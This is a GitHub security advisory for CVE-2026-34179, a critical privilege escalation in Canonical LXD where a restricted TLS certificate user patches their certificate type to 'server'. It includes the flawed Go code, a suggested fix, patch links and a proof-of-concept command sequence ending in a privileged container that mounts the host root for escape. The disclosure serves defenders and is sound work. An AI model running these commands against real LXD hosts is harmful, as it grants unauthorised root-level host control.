Skip to content

LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

Critical severity GitHub Reviewed Published Apr 9, 2026 in canonical/lxd • Updated Apr 10, 2026

Package

gomod github.com/canonical/lxd (Go)

Affected versions

>= 0.0.0-20210305023314-538ac3df036e, <= 0.0.0-20260226085519-736f34afb267

Patched versions

None

Description

Summary

A restricted TLS certificate user can escalate to cluster admin by changing their certificate type from client to server via PUT/PATCH to /1.0/certificates/{fingerprint}. The non-admin guard and reset block in doCertificateUpdate fail to validate or reset the Type field, allowing a caller-supplied value to persist to the database. The modified certificate is matched as a server certificate during TLS authentication, granting ProtocolCluster with full admin privileges.

Details

doCertificateUpdate in lxd/certificates.go handles PUT/PATCH requests to /1.0/certificates/{fingerprint} for both privileged and unprivileged callers. The access handler is allowAuthenticated, so any trusted TLS user (including restricted) can reach this code.

For unprivileged callers (restricted users who fail the EntitlementCanEdit check at line 975), two defenses are intended to prevent field tampering:

  1. The guard block validates that Restricted, Name, and Projects match the original database record. Does not check Type.
		// Ensure the user in not trying to change fields other than the certificate.
		if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name || len(dbInfo.Projects) != len(req.Projects) {
			return response.Forbidden(errors.New("Only the certificate can be changed"))
		}
  1. The reset block rebuilds the dbCert struct using original values for Restricted, Name, and Certificate. Uses reqDBType (caller-supplied) for Type instead of the original dbInfo type.
		// Reset dbCert in order to prevent possible future security issues.
		dbCert = dbCluster.Certificate{
			Certificate: dbInfo.Certificate,
			Fingerprint: dbInfo.Fingerprint,
			Restricted:  dbInfo.Restricted,
			Name:        dbInfo.Name,
			Type:        reqDBType,
		}

This allows the attacker to update the Type field of their own certificate from client to server, bypassing the authorization controls and escalating to cluster admin.

PoC

Tested on lxd 6.7.

As admin, create restricted project and restricted certificate:

# Create restricted project
lxc project create poc-restricted -c restricted=true
lxc profile device add default root disk path=/ pool=default --project poc-restricted
lxc profile device add default eth0 nic network=lxdbr0 --project poc-restricted

# Add client certificate
lxc config trust add --restricted --projects poc-restricted --name poc-user
# pass token to user

As restricted user:

# Add token
lxc remote add target <token>

# Confirm we can only see the poc-restricted project
lxc project list target:

# Confirm we can't unrestrict the project
lxc project set target:poc-restricted restricted=false

# Get own certificate fingerprint
fp=$(lxc query target:/1.0/certificates | jq -r '.[0]')

# Update the type of certificate to server
lxc query -X PATCH -d '{ "type": "server" }' target:$fp
# or 
# lxc query -X PUT -d '{ "type": "server", "name": "poc-user", "restricted": true, "projects": ["poc-restricted"], "certificate": "" }' target:$fp

# Confirm type is 'server'
lxc config trust list target:

# Set project to restricted=false
lxc project set target:poc-restricted restricted=false

# Start privileged container (and escape to root)
lxc init ubuntu:24.04 target:privileged -c security.privileged=true
lxc config device add target:privileged hostfs disk source=/ path=/mnt/host
lxc start target:privileged

Impact

Privilege escalation from restricted TLS certificate user (project-scoped) to cluster admin.

Cluster admin can create privileged containers (security.privileged=true) or pass raw LXC config (raw.lxc), which provides root-level access to the host, leading to full host compromise.

The attack requires a single PUT/PATCH request. The escalation is persistent and takes effect immediately after the identity cache refresh. The change in permissions is not logged.

Affects any LXD deployment using legacy restricted TLS certificates (/1.0/certificates API).

Suggested remediation

  1. Add Type to the guard check at line 992:
if dbInfo.Restricted != req.Restricted || dbInfo.Name != req.Name ||
    dbInfo.Type != req.Type || len(dbInfo.Projects) != len(req.Projects) {
  1. Use the original type in the reset block at line 1008:
origDBType, err := certificate.FromAPIType(dbInfo.Type)
if err != nil {
    return response.InternalError(err)
}

dbCert = dbCluster.Certificate{
    Certificate: dbInfo.Certificate,
    Fingerprint: dbInfo.Fingerprint,
    Restricted:  dbInfo.Restricted,
    Name:        dbInfo.Name,
    Type:        origDBType,
}

Patches

LXD Series Interim release
6 https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1
5.21 https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1
5.0 https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1
4.0 https://discourse.ubuntu.com/t/lxd-4-0-10-lts-interim-snap-release-4-0-10-e92d947/79247/1

References

@tomponline tomponline published to canonical/lxd Apr 9, 2026
Published by the National Vulnerability Database Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(25th percentile)

Weaknesses

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

CVE ID

CVE-2026-34179

GHSA ID

GHSA-c3h3-89qf-jqm5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.